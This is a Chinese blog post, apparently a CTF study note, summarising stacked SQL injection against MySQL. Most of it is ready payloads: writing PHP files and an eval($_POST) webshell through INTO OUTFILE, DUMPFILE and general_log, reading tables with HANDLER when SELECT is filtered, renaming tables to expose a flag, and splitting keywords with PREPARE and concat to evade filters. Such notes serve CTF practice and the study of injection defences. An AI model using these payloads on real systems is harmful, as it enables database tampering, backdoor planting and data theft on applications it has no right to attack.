CTF——sql注入之堆叠注入整理

原创

Asionm 已于 2022-04-18 20:45:27 修改 4701 收藏 1

分类专栏： ctf总结 文章标签： 网络安全 sql

于 2022-03-04 22:09:05 首次发布

堆叠注入

介绍

MySQL可以执行多条语句，多条语句之前用;做分隔。 简单的说，由于分号;为MYSQL语句的结束符。若在支持多语句执行的情况下，可利用此方法 执行其他恶意语句，如RENAME、DROP等，堆叠注入可以用于执行任何SQL语句

注意，通常多语句执行时，若前条语句已返回数据，则之后的语句返回的数据通常无法返 回前端页面。建议使用union联合注入，若无法使用联合注入， 可考虑使用RENAME关键 字，将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名

常见解题思路

常规查询

直接用查询语句查，不过这种题基本上不会出的。一般堆叠注入都会过滤很多的关键词。

写后门

```
#payload1
select "<?php phpinfo();?>" into outfile "/tmp/1.php";
#payload2
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php";
#payload3(secure_file_pric为NULL无法写入文件时用)
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/789.php';
select '<?php eval($_POST['a']) ?>';
```

过滤select时的解法

```
/*
mysql除可使用select查询表中的数据，也可使用handler语句，这条语句使我们能够一
行一行的浏览一个表中的数据，不过handler语句并不具备select语句的所有功能。它是
mysql专用的语句，并没有包含到SQL标准中
*/
handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next; #读取指定表/句柄的下一行数据
handler hd close; #关闭句柄
```

改变表名使得直接显示flag

```
RENAME TABLE `words` TO `words2`;
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET
utf8 COLLATE utf8_general_ci NOT NULL;#
```

Mysql预处理

预处理有个好处，那就是可以把一些关键词通过concat给预处理来进行绕过。

```
PREPARE st from concat('s','elect', ' * from `1919810931114514` ');
EXECUTE st;#
```